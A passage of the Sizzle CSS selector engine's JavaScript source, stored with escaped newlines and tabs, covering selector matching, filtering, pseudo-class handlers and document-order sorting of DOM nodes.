);\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\t// Take a shortcut and set the context if the root selector is an ID\n\t\t// (but not if it'll be faster if the inner selector is an ID)\n\t\tif ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&\n\t\t\t\tExpr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {\n\n\t\t\tret = Sizzle.find( parts.shift(), context, contextXML );\n\t\t\tcontext = ret.expr ?\n\t\t\t\tSizzle.filter( ret.expr, ret.set )[0] :\n\t\t\t\tret.set[0];\n\t\t}\n\n\t\tif ( context ) {\n\t\t\tret = seed ?\n\t\t\t\t{ expr: parts.pop(), set: makeArray(seed) } :\n\t\t\t\tSizzle.find( parts.pop(), parts.length === 1 && (parts[0] === \"~\" || parts[0] === \"+\") && context.parentNode ? context.parentNode : context, contextXML );\n\n\t\t\tset = ret.expr ?\n\t\t\t\tSizzle.filter( ret.expr, ret.set ) :\n\t\t\t\tret.set;\n\n\t\t\tif ( parts.length > 0 ) {\n\t\t\t\tcheckSet = makeArray( set );\n\n\t\t\t} else {\n\t\t\t\tprune = false;\n\t\t\t}\n\n\t\t\twhile ( parts.length ) {\n\t\t\t\tcur = parts.pop();\n\t\t\t\tpop = cur;\n\n\t\t\t\tif ( !Expr.relative[ cur ] ) {\n\t\t\t\t\tcur = \"\";\n\t\t\t\t} else {\n\t\t\t\t\tpop = parts.pop();\n\t\t\t\t}\n\n\t\t\t\tif ( pop == null ) {\n\t\t\t\t\tpop = context;\n\t\t\t\t}\n\n\t\t\t\tExpr.relative[ cur ]( checkSet, pop, contextXML );\n\t\t\t}\n\n\t\t} else {\n\t\t\tcheckSet = parts = [];\n\t\t}\n\t}\n\n\tif ( !checkSet ) {\n\t\tcheckSet = set;\n\t}\n\n\tif ( !checkSet ) {\n\t\tSizzle.error( cur || selector );\n\t}\n\n\tif ( toString.call(checkSet) === \"[object Array]\" ) {\n\t\tif ( !prune ) {\n\t\t\tresults.push.apply( results, checkSet );\n\n\t\t} else if ( context && context.nodeType === 1 ) {\n\t\t\tfor ( i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\t\t\tfor ( i = 0; checkSet[i] != null; i++ ) {\n\t\t\t\tif ( checkSet[i] && checkSet[i].nodeType === 1 ) {\n\t\t\t\t\tresults.push( set[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tmakeArray( checkSet, results );\n\t}\n\n\tif ( extra ) {\n\t\tSizzle( extra, origContext, results, seed );\n\t\tSizzle.uniqueSort( results );\n\t}\n\n\treturn results;\n};\n\nSizzle.uniqueSort = function( results ) {\n\tif ( sortOrder ) {\n\t\thasDuplicate = baseHasDuplicate;\n\t\tresults.sort( sortOrder );\n\n\t\tif ( hasDuplicate ) {\n\t\t\tfor ( var i = 1; i < results.length; i++ ) {\n\t\t\t\tif ( results[i] === results[ i - 1 ] ) {\n\t\t\t\t\tresults.splice( i--, 1 );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn results;\n};\n\nSizzle.matches = function( expr, set ) {\n\treturn Sizzle( expr, null, null, set );\n};\n\nSizzle.matchesSelector = function( node, expr ) {\n\treturn Sizzle( expr, null, null, [node] ).length > 0;\n};\n\nSizzle.find = function( expr, context, isXML ) {\n\tvar set;\n\n\tif ( !expr ) {\n\t\treturn [];\n\t}\n\n\tfor ( var i = 0, l = Expr.order.length; i < l; i++ ) {\n\t\tvar match,\n\t\t\ttype = Expr.order[i];\n\t\t\n\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) ) {\n\t\t\tvar left = match[1];\n\t\t\tmatch.splice( 1, 1 );\n\n\t\t\tif ( left.substr( left.length - 1 ) !== \"\\\\\" ) {\n\t\t\t\tmatch[1] = (match[1] || \"\").replace( rBackslash, \"\" );\n\t\t\t\tset = Expr.find[ type ]( match, context, isXML );\n\n\t\t\t\tif ( set != null ) {\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( !set ) {\n\t\tset = typeof context.getElementsByTagName !== \"undefined\" ?\n\t\t\tcontext.getElementsByTagName( \"*\" ) :\n\t\t\t[];\n\t}\n\n\treturn { set: set, expr: expr };\n};\n\nSizzle.filter = function( expr, set, inplace, not ) {\n\tvar match, anyFound,\n\t\told = expr,\n\t\tresult = [],\n\t\tcurLoop = set,\n\t\tisXMLFilter = set && set[0] && Sizzle.isXML( set[0] );\n\n\twhile ( expr && set.length ) {\n\t\tfor ( var type in Expr.filter ) {\n\t\t\tif ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {\n\t\t\t\tvar found, item,\n\t\t\t\t\tfilter = Expr.filter[ type ],\n\t\t\t\t\tleft = match[1];\n\n\t\t\t\tanyFound = false;\n\n\t\t\t\tmatch.splice(1,1);\n\n\t\t\t\tif ( left.substr( left.length - 1 ) === \"\\\\\" ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ( curLoop === result ) {\n\t\t\t\t\tresult = [];\n\t\t\t\t}\n\n\t\t\t\tif ( Expr.preFilter[ type ] ) {\n\t\t\t\t\tmatch = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );\n\n\t\t\t\t\tif ( !match ) {\n\t\t\t\t\t\tanyFound = found = true;\n\n\t\t\t\t\t} else if ( match === true ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( match ) {\n\t\t\t\t\tfor ( var i = 0; (item = curLoop[i]) != null; i++ ) {\n\t\t\t\t\t\tif ( item ) {\n\t\t\t\t\t\t\tfound = filter( item, match, i, curLoop );\n\t\t\t\t\t\t\tvar pass = not ^ !!found;\n\n\t\t\t\t\t\t\tif ( inplace && found != null ) {\n\t\t\t\t\t\t\t\tif ( pass ) {\n\t\t\t\t\t\t\t\t\tanyFound = true;\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else if ( pass ) {\n\t\t\t\t\t\t\t\tresult.push( item );\n\t\t\t\t\t\t\t\tanyFound = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( found !== undefined ) {\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tcurLoop = result;\n\t\t\t\t\t}\n\n\t\t\t\t\texpr = expr.replace( Expr.match[ type ], \"\" );\n\n\t\t\t\t\tif ( !anyFound ) {\n\t\t\t\t\t\treturn [];\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Improper expression\n\t\tif ( expr === old ) {\n\t\t\tif ( anyFound == null ) {\n\t\t\t\tSizzle.error( expr );\n\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\told = expr;\n\t}\n\n\treturn curLoop;\n};\n\nSizzle.error = function( msg ) {\n\tthrow \"Syntax error, unrecognized expression: \" + msg;\n};\n\nvar Expr = Sizzle.selectors = {\n\torder: [ \"ID\", \"NAME\", \"TAG\" ],\n\n\tmatch: {\n\t\tID: /#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,\n\t\tCLASS: /\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,\n\t\tNAME: /\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,\n\t\tATTR: /\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,\n\t\tTAG: /^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,\n\t\tCHILD: /:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,\n\t\tPOS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,\n\t\tPSEUDO: /:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/\n\t},\n\n\tleftMatch: {},\n\n\tattrMap: {\n\t\t\"class\": \"className\",\n\t\t\"for\": \"htmlFor\"\n\t},\n\n\tattrHandle: {\n\t\thref: function( elem ) {\n\t\t\treturn elem.getAttribute( \"href\" );\n\t\t},\n\t\ttype: function( elem ) {\n\t\t\treturn elem.getAttribute( \"type\" );\n\t\t}\n\t},\n\n\trelative: {\n\t\t\"+\": function(checkSet, part){\n\t\t\tvar isPartStr = typeof part === \"string\",\n\t\t\t\tisTag = isPartStr && !rNonWord.test( part ),\n\t\t\t\tisPartStrNotTag = isPartStr && !isTag;\n\n\t\t\tif ( isTag ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t}\n\n\t\t\tfor ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {\n\t\t\t\tif ( (elem = checkSet[i]) ) {\n\t\t\t\t\twhile ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}\n\n\t\t\t\t\tcheckSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?\n\t\t\t\t\t\telem || false :\n\t\t\t\t\t\telem === part;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( isPartStrNotTag ) {\n\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t}\n\t\t},\n\n\t\t\">\": function( checkSet, part ) {\n\t\t\tvar elem,\n\t\t\t\tisPartStr = typeof part === \"string\",\n\t\t\t\ti = 0,\n\t\t\t\tl = checkSet.length;\n\n\t\t\tif ( isPartStr && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\n\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\telem = checkSet[i];\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\t\t\tcheckSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\telem = checkSet[i];\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\tcheckSet[i] = isPartStr ?\n\t\t\t\t\t\t\telem.parentNode :\n\t\t\t\t\t\t\telem.parentNode === part;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( isPartStr ) {\n\t\t\t\t\tSizzle.filter( part, checkSet, true );\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t\"\": function(checkSet, part, isXML){\n\t\t\tvar nodeCheck,\n\t\t\t\tdoneName = done++,\n\t\t\t\tcheckFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t\tnodeCheck = part;\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn( \"parentNode\", part, doneName, checkSet, nodeCheck, isXML );\n\t\t},\n\n\t\t\"~\": function( checkSet, part, isXML ) {\n\t\t\tvar nodeCheck,\n\t\t\t\tdoneName = done++,\n\t\t\t\tcheckFn = dirCheck;\n\n\t\t\tif ( typeof part === \"string\" && !rNonWord.test( part ) ) {\n\t\t\t\tpart = part.toLowerCase();\n\t\t\t\tnodeCheck = part;\n\t\t\t\tcheckFn = dirNodeCheck;\n\t\t\t}\n\n\t\t\tcheckFn( \"previousSibling\", part, doneName, checkSet, nodeCheck, isXML );\n\t\t}\n\t},\n\n\tfind: {\n\t\tID: function( match, context, isXML ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\treturn m && m.parentNode ? [m] : [];\n\t\t\t}\n\t\t},\n\n\t\tNAME: function( match, context ) {\n\t\t\tif ( typeof context.getElementsByName !== \"undefined\" ) {\n\t\t\t\tvar ret = [],\n\t\t\t\t\tresults = context.getElementsByName( match[1] );\n\n\t\t\t\tfor ( var i = 0, l = results.length; i < l; i++ ) {\n\t\t\t\t\tif ( results[i].getAttribute(\"name\") === match[1] ) {\n\t\t\t\t\t\tret.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn ret.length === 0 ? null : ret;\n\t\t\t}\n\t\t},\n\n\t\tTAG: function( match, context ) {\n\t\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\t\treturn context.getElementsByTagName( match[1] );\n\t\t\t}\n\t\t}\n\t},\n\tpreFilter: {\n\t\tCLASS: function( match, curLoop, inplace, result, not, isXML ) {\n\t\t\tmatch = \" \" + match[1].replace( rBackslash, \"\" ) + \" \";\n\n\t\t\tif ( isXML ) {\n\t\t\t\treturn match;\n\t\t\t}\n\n\t\t\tfor ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {\n\t\t\t\tif ( elem ) {\n\t\t\t\t\tif ( not ^ (elem.className && (\" \" + elem.className + \" \").replace(/[\\t\\n\\r]/g, \" \").indexOf(match) >= 0) ) {\n\t\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\t\tresult.push( elem );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( inplace ) {\n\t\t\t\t\t\tcurLoop[i] = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t},\n\n\t\tID: function( match ) {\n\t\t\treturn match[1].replace( rBackslash, \"\" );\n\t\t},\n\n\t\tTAG: function( match, curLoop ) {\n\t\t\treturn match[1].replace( rBackslash, \"\" ).toLowerCase();\n\t\t},\n\n\t\tCHILD: function( match ) {\n\t\t\tif ( match[1] === \"nth\" ) {\n\t\t\t\tif ( !match[2] ) {\n\t\t\t\t\tSizzle.error( match[0] );\n\t\t\t\t}\n\n\t\t\t\tmatch[2] = match[2].replace(/^\\+|\\s*/g, '');\n\n\t\t\t\t// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'\n\t\t\t\tvar test = /(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(\n\t\t\t\t\tmatch[2] === \"even\" && \"2n\" || match[2] === \"odd\" && \"2n+1\" ||\n\t\t\t\t\t!/\\D/.test( match[2] ) && \"0n+\" + match[2] || match[2]);\n\n\t\t\t\t// calculate the numbers (first)n+(last) including if they are negative\n\t\t\t\tmatch[2] = (test[1] + (test[2] || 1)) - 0;\n\t\t\t\tmatch[3] = test[3] - 0;\n\t\t\t}\n\t\t\telse if ( match[2] ) {\n\t\t\t\tSizzle.error( match[0] );\n\t\t\t}\n\n\t\t\t// TODO: Move to normal caching system\n\t\t\tmatch[0] = done++;\n\n\t\t\treturn match;\n\t\t},\n\n\t\tATTR: function( match, curLoop, inplace, result, not, isXML ) {\n\t\t\tvar name = match[1] = match[1].replace( rBackslash, \"\" );\n\t\t\t\n\t\t\tif ( !isXML && Expr.attrMap[name] ) {\n\t\t\t\tmatch[1] = Expr.attrMap[name];\n\t\t\t}\n\n\t\t\t// Handle if an un-quoted value was used\n\t\t\tmatch[4] = ( match[4] || match[5] || \"\" ).replace( rBackslash, \"\" );\n\n\t\t\tif ( match[2] === \"~=\" ) {\n\t\t\t\tmatch[4] = \" \" + match[4] + \" \";\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\tPSEUDO: function( match, curLoop, inplace, result, not ) {\n\t\t\tif ( match[1] === \"not\" ) {\n\t\t\t\t// If we're dealing with a complex expression, or a simple one\n\t\t\t\tif ( ( chunker.exec(match[3]) || \"\" ).length > 1 || /^\\w/.test(match[3]) ) {\n\t\t\t\t\tmatch[3] = Sizzle(match[3], null, null, curLoop);\n\n\t\t\t\t} else {\n\t\t\t\t\tvar ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);\n\n\t\t\t\t\tif ( !inplace ) {\n\t\t\t\t\t\tresult.push.apply( result, ret );\n\t\t\t\t\t}\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t\n\t\t\treturn match;\n\t\t},\n\n\t\tPOS: function( match ) {\n\t\t\tmatch.unshift( true );\n\n\t\t\treturn match;\n\t\t}\n\t},\n\t\n\tfilters: {\n\t\tenabled: function( elem ) {\n\t\t\treturn elem.disabled === false && elem.type !== \"hidden\";\n\t\t},\n\n\t\tdisabled: function( elem ) {\n\t\t\treturn elem.disabled === true;\n\t\t},\n\n\t\tchecked: function( elem ) {\n\t\t\treturn elem.checked === true;\n\t\t},\n\t\t\n\t\tselected: function( elem ) {\n\t\t\t// Accessing this property makes selected-by-default\n\t\t\t// options in Safari work properly\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\t\t\t\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\tparent: function( elem ) {\n\t\t\treturn !!elem.firstChild;\n\t\t},\n\n\t\tempty: function( elem ) {\n\t\t\treturn !elem.firstChild;\n\t\t},\n\n\t\thas: function( elem, i, match ) {\n\t\t\treturn !!Sizzle( match[3], elem ).length;\n\t\t},\n\n\t\theader: function( elem ) {\n\t\t\treturn (/h\\d/i).test( elem.nodeName );\n\t\t},\n\n\t\ttext: function( elem ) {\n\t\t\tvar attr = elem.getAttribute( \"type\" ), type = elem.type;\n\t\t\t// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc) \n\t\t\t// use getAttribute instead to test this case\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"text\" === type && ( attr === type || attr === null );\n\t\t},\n\n\t\tradio: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"radio\" === elem.type;\n\t\t},\n\n\t\tcheckbox: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"checkbox\" === elem.type;\n\t\t},\n\n\t\tfile: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"file\" === elem.type;\n\t\t},\n\n\t\tpassword: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"password\" === elem.type;\n\t\t},\n\n\t\tsubmit: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn (name === \"input\" || name === \"button\") && \"submit\" === elem.type;\n\t\t},\n\n\t\timage: function( elem ) {\n\t\t\treturn elem.nodeName.toLowerCase() === \"input\" && \"image\" === elem.type;\n\t\t},\n\n\t\treset: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn (name === \"input\" || name === \"button\") && \"reset\" === elem.type;\n\t\t},\n\n\t\tbutton: function( elem ) {\n\t\t\tvar name = elem.nodeName.toLowerCase();\n\t\t\treturn name === \"input\" && \"button\" === elem.type || name === \"button\";\n\t\t},\n\n\t\tinput: function( elem ) {\n\t\t\treturn (/input|select|textarea|button/i).test( elem.nodeName );\n\t\t},\n\n\t\tfocus: function( elem ) {\n\t\t\treturn elem === elem.ownerDocument.activeElement;\n\t\t}\n\t},\n\tsetFilters: {\n\t\tfirst: function( elem, i ) {\n\t\t\treturn i === 0;\n\t\t},\n\n\t\tlast: function( elem, i, match, array ) {\n\t\t\treturn i === array.length - 1;\n\t\t},\n\n\t\teven: function( elem, i ) {\n\t\t\treturn i % 2 === 0;\n\t\t},\n\n\t\todd: function( elem, i ) {\n\t\t\treturn i % 2 === 1;\n\t\t},\n\n\t\tlt: function( elem, i, match ) {\n\t\t\treturn i < match[3] - 0;\n\t\t},\n\n\t\tgt: function( elem, i, match ) {\n\t\t\treturn i > match[3] - 0;\n\t\t},\n\n\t\tnth: function( elem, i, match ) {\n\t\t\treturn match[3] - 0 === i;\n\t\t},\n\n\t\teq: function( elem, i, match ) {\n\t\t\treturn match[3] - 0 === i;\n\t\t}\n\t},\n\tfilter: {\n\t\tPSEUDO: function( elem, match, i, array ) {\n\t\t\tvar name = match[1],\n\t\t\t\tfilter = Expr.filters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\n\t\t\t} else if ( name === \"contains\" ) {\n\t\t\t\treturn (elem.textContent || elem.innerText || Sizzle.getText([ elem ]) || \"\").indexOf(match[3]) >= 0;\n\n\t\t\t} else if ( name === \"not\" ) {\n\t\t\t\tvar not = match[3];\n\n\t\t\t\tfor ( var j = 0, l = not.length; j < l; j++ ) {\n\t\t\t\t\tif ( not[j] === elem ) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\n\t\t\t} else {\n\t\t\t\tSizzle.error( name );\n\t\t\t}\n\t\t},\n\n\t\tCHILD: function( elem, match ) {\n\t\t\tvar type = match[1],\n\t\t\t\tnode = elem;\n\n\t\t\tswitch ( type ) {\n\t\t\t\tcase \"only\":\n\t\t\t\tcase \"first\":\n\t\t\t\t\twhile ( (node = node.previousSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) { \n\t\t\t\t\t\t\treturn false; \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( type === \"first\" ) { \n\t\t\t\t\t\treturn true; \n\t\t\t\t\t}\n\n\t\t\t\t\tnode = elem;\n\n\t\t\t\tcase \"last\":\n\t\t\t\t\twhile ( (node = node.nextSibling) )\t {\n\t\t\t\t\t\tif ( node.nodeType === 1 ) { \n\t\t\t\t\t\t\treturn false; \n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn true;\n\n\t\t\t\tcase \"nth\":\n\t\t\t\t\tvar first = match[2],\n\t\t\t\t\t\tlast = match[3];\n\n\t\t\t\t\tif ( first === 1 && last === 0 ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar doneName = match[0],\n\t\t\t\t\t\tparent = elem.parentNode;\n\t\n\t\t\t\t\tif ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) {\n\t\t\t\t\t\tvar count = 0;\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor ( node = parent.firstChild; node; node = node.nextSibling ) {\n\t\t\t\t\t\t\tif ( node.nodeType === 1 ) {\n\t\t\t\t\t\t\t\tnode.nodeIndex = ++count;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\tparent.sizcache = doneName;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tvar diff = elem.nodeIndex - last;\n\n\t\t\t\t\tif ( first === 0 ) {\n\t\t\t\t\t\treturn diff === 0;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tID: function( elem, match ) {\n\t\t\treturn elem.nodeType === 1 && elem.getAttribute(\"id\") === match;\n\t\t},\n\n\t\tTAG: function( elem, match ) {\n\t\t\treturn (match === \"*\" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match;\n\t\t},\n\t\t\n\t\tCLASS: function( elem, match ) {\n\t\t\treturn (\" \" + (elem.className || elem.getAttribute(\"class\")) + \" \")\n\t\t\t\t.indexOf( match ) > -1;\n\t\t},\n\n\t\tATTR: function( elem, match ) {\n\t\t\tvar name = match[1],\n\t\t\t\tresult = Expr.attrHandle[ name ] ?\n\t\t\t\t\tExpr.attrHandle[ name ]( elem ) :\n\t\t\t\t\telem[ name ] != null ?\n\t\t\t\t\t\telem[ name ] :\n\t\t\t\t\t\telem.getAttribute( name ),\n\t\t\t\tvalue = result + \"\",\n\t\t\t\ttype = match[2],\n\t\t\t\tcheck = match[4];\n\n\t\t\treturn result == null ?\n\t\t\t\ttype === \"!=\" :\n\t\t\t\ttype === \"=\" ?\n\t\t\t\tvalue === check :\n\t\t\t\ttype === \"*=\" ?\n\t\t\t\tvalue.indexOf(check) >= 0 :\n\t\t\t\ttype === \"~=\" ?\n\t\t\t\t(\" \" + value + \" \").indexOf(check) >= 0 :\n\t\t\t\t!check ?\n\t\t\t\tvalue && result !== false :\n\t\t\t\ttype === \"!=\" ?\n\t\t\t\tvalue !== check :\n\t\t\t\ttype === \"^=\" ?\n\t\t\t\tvalue.indexOf(check) === 0 :\n\t\t\t\ttype === \"$=\" ?\n\t\t\t\tvalue.substr(value.length - check.length) === check :\n\t\t\t\ttype === \"|=\" ?\n\t\t\t\tvalue === check || value.substr(0, check.length + 1) === check + \"-\" :\n\t\t\t\tfalse;\n\t\t},\n\n\t\tPOS: function( elem, match, i, array ) {\n\t\t\tvar name = match[2],\n\t\t\t\tfilter = Expr.setFilters[ name ];\n\n\t\t\tif ( filter ) {\n\t\t\t\treturn filter( elem, i, match, array );\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar origPOS = Expr.match.POS,\n\tfescape = function(all, num){\n\t\treturn \"\\\\\" + (num - 0 + 1);\n\t};\n\nfor ( var type in Expr.match ) {\n\tExpr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\\[]*\\])(?![^\\(]*\\))/.source) );\n\tExpr.leftMatch[ type ] = new RegExp( /(^(?:.|\\r|\\n)*?)/.source + Expr.match[ type ].source.replace(/\\\\(\\d+)/g, fescape) );\n}\n\nvar makeArray = function( array, results ) {\n\tarray = Array.prototype.slice.call( array, 0 );\n\n\tif ( results ) {\n\t\tresults.push.apply( results, array );\n\t\treturn results;\n\t}\n\t\n\treturn array;\n};\n\n// Perform a simple check to determine if the browser is capable of\n// converting a NodeList to an array using builtin methods.\n// Also verifies that the returned array holds DOM nodes\n// (which is not the case in the Blackberry browser)\ntry {\n\tArray.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;\n\n// Provide a fallback method if it does not work\n} catch( e ) {\n\tmakeArray = function( array, results ) {\n\t\tvar i = 0,\n\t\t\tret = results || [];\n\n\t\tif ( toString.call(array) === \"[object Array]\" ) {\n\t\t\tArray.prototype.push.apply( ret, array );\n\n\t\t} else {\n\t\t\tif ( typeof array.length === \"number\" ) {\n\t\t\t\tfor ( var l = array.length; i < l; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tfor ( ; array[i]; i++ ) {\n\t\t\t\t\tret.push( array[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t};\n}\n\nvar sortOrder, siblingCheck;\n\nif ( document.documentElement.compareDocumentPosition ) {\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\tif ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {\n\t\t\treturn a.compareDocumentPosition ? -1 : 1;\n\t\t}\n\n\t\treturn a.compareDocumentPosition(b) & 4 ? -1 : 1;\n\t};\n\n} else {\n\tsortOrder = function( a, b ) {\n\t\t// The nodes are identical, we can exit early\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\n\t\t// Fallback to using sourceIndex (in IE) if it's available on both nodes\n\t\t} else if ( a.sourceIndex && b.sourceIndex ) {\n\t\t\treturn a.sourceIndex - b.sourceIndex;\n\t\t}\n\n\t\tvar al, bl,\n\t\t\tap = [],\n\t\t\tbp = [],\n\t\t\taup = a.parentNode,\n\t\t\tbup = b.parentNode,\n\t\t\tcur = aup;\n\n\t\t// If the nodes are siblings (or identical) we can do a quick check\n\t\tif ( aup === bup ) {\n\t\t\treturn siblingCheck( a, b );\n\n\t\t// If no parents were found then the nodes are disconnected\n\t\t} else if ( !aup ) {\n\t\t\treturn -1;\n\n\t\t} else if ( !bup ) {\n\t\t\treturn 1;\n\t\t}\n\n\t\t// Otherwise they're somewhere else in the tree so we need\n\t\t// to build up a full list of the parentNodes for comparison\n\t\twhile ( cur ) {\n\t\t\tap.unshift( cur );\n\t\t\tcur = cur.parentNode;\n\t\t}\n\n\t\tcur = bup;\n\n\t\twhile ( cur ) {\n\t\t\tbp.unshift( cur );\n\t\t\tcur = cur.parentNode;\n\t\t}\n\n\t\tal = ap.length;\n\t\tbl = bp.length;\n\n\t\t// Start walking down the tree looking for a discrepancy\n\t\tfor ( var i = 0; i < al && i < bl; i++ ) {\n\t\t\tif ( ap[i] !== bp[i] ) {\n\t\t\t\treturn siblingCheck( ap[i], bp[i] );\n\t\t\t}\n\t\t}\n\n\t\t// We ended someplace up the tree so do a sibling check\n\t\treturn i === al ?\n\t\t\tsiblingCheck( a, bp[i], -1 ) :\n\t\t\tsiblingCheck( ap[i], b, 1 );\n\t};\n\n\tsiblingCheck = function( a, b, ret ) {\n\t\tif ( a === b ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tvar cur = a.nextSibling;\n\n\t\twhile ( cur ) 